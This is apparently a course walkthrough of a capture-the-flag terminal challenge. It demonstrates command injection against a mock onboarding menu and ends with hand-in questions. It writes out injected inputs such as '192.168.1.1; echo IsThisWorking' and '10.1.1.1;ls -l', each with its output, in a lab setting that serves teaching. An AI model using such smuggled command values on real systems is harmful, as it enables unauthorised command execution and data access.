

Terminal Challenge--The Name Game (part 2)

Command Injection

In the last section you were tasked with finding a field that was vulnerable to command injection. We can start by selecting the first option and entering `a;a` everywhere.

```
=====
= SANTA ' S CASTLE EMPLOYEE ONBOARDING =
=====

Press 1 to start the onboard process.
Press 2 to verify the system.
Press q to quit.

Please make a selection:
```

Press 1 and we go here:

```
At Santa's Castle, our employees are our family. We care for each other,
and support everyone in our common goals.

Your first test at Santa's Castle is to complete the new employee onboarding paperwork.
Don't worry, it's an easy test! Just complete the required onboarding information below.

Enter your first name.
: a;a
Enter your last name.
: a;a
Enter your street address (line 1 of 2).
: a;a
Enter your street address (line 2 of 2).
: a;a
Enter your city.
: a;a
Enter your postal code.
: a;a
Enter your phone number.
: a;a
Enter your email address.
: a;a

Is this correct?

a;a a;a
a;a
a;a
a;a, a;a
a;a
a;a
y/n: y
Save to sqlite DB using command line
Press Enter to continue... █
```

When we press Enter, we go back to the main screen. No obvious injection there.

Try the same thing for the second option.

```
Validating data store for employee onboard information.  
Enter address of server: a;a  
ping: unknown host a  
/bin/bash: a: command not found  
onboard.db: SQLite 3.x database  
Press Enter to continue...: 
```

Now that is interesting! It looks like the site tried to ping a, and then tried to execute a. If that is correct, then something like 192.168.1.1; echo IsThisWorking may work.

```
Validating data store for employee onboard information.  
Enter address of server: 192.168.1.1; echo IsThisWorking  
connect: Network is unreachable  
IsThisWorking  
onboard.db: SQLite 3.x database  
Press Enter to continue...: 
```

That's it! It appears they are running PowerShell (at least that is what the hints say) on top of Linux (/bin/bash error message). It also appears the information we need is in a SQLite 3.x database. That is nice of them to tell us! Note: when you are writing applications, error messages may help you, but they also help attackers. Remove helpful error messages before your application is put in production!

```
Validating data store for employee onboard information.  
Enter address of server: 10.1.1.1;ls -l  
connect: Network is unreachable  
total 5448  
-rw-r--r-- 1 root root 3866 Dec 14 16:13 menu.ps1  
-rw-rw-rw- 1 root root 24576 Dec 14 16:13 onboard.db  
-rwxr-xr-x 1 root root 5547968 Dec 14 16:13 runtoanswer  
onboard.db: SQLite 3.x database  
Press Enter to continue...: 
```

Yep! They are running on top of Linux (or maybe they installed the BASH shell in Windows 10.)

Exploitation

Read the article at <https://www.digitalocean.com/community/questions/how-do-i-dump-an-sqlite-database>. It will show you how to dump the database so you can find the answer to the challenge.

Hand In

- 1) Show the commands you used to dump the database.
- 2) What is the first name of the new employee with the last name Chan?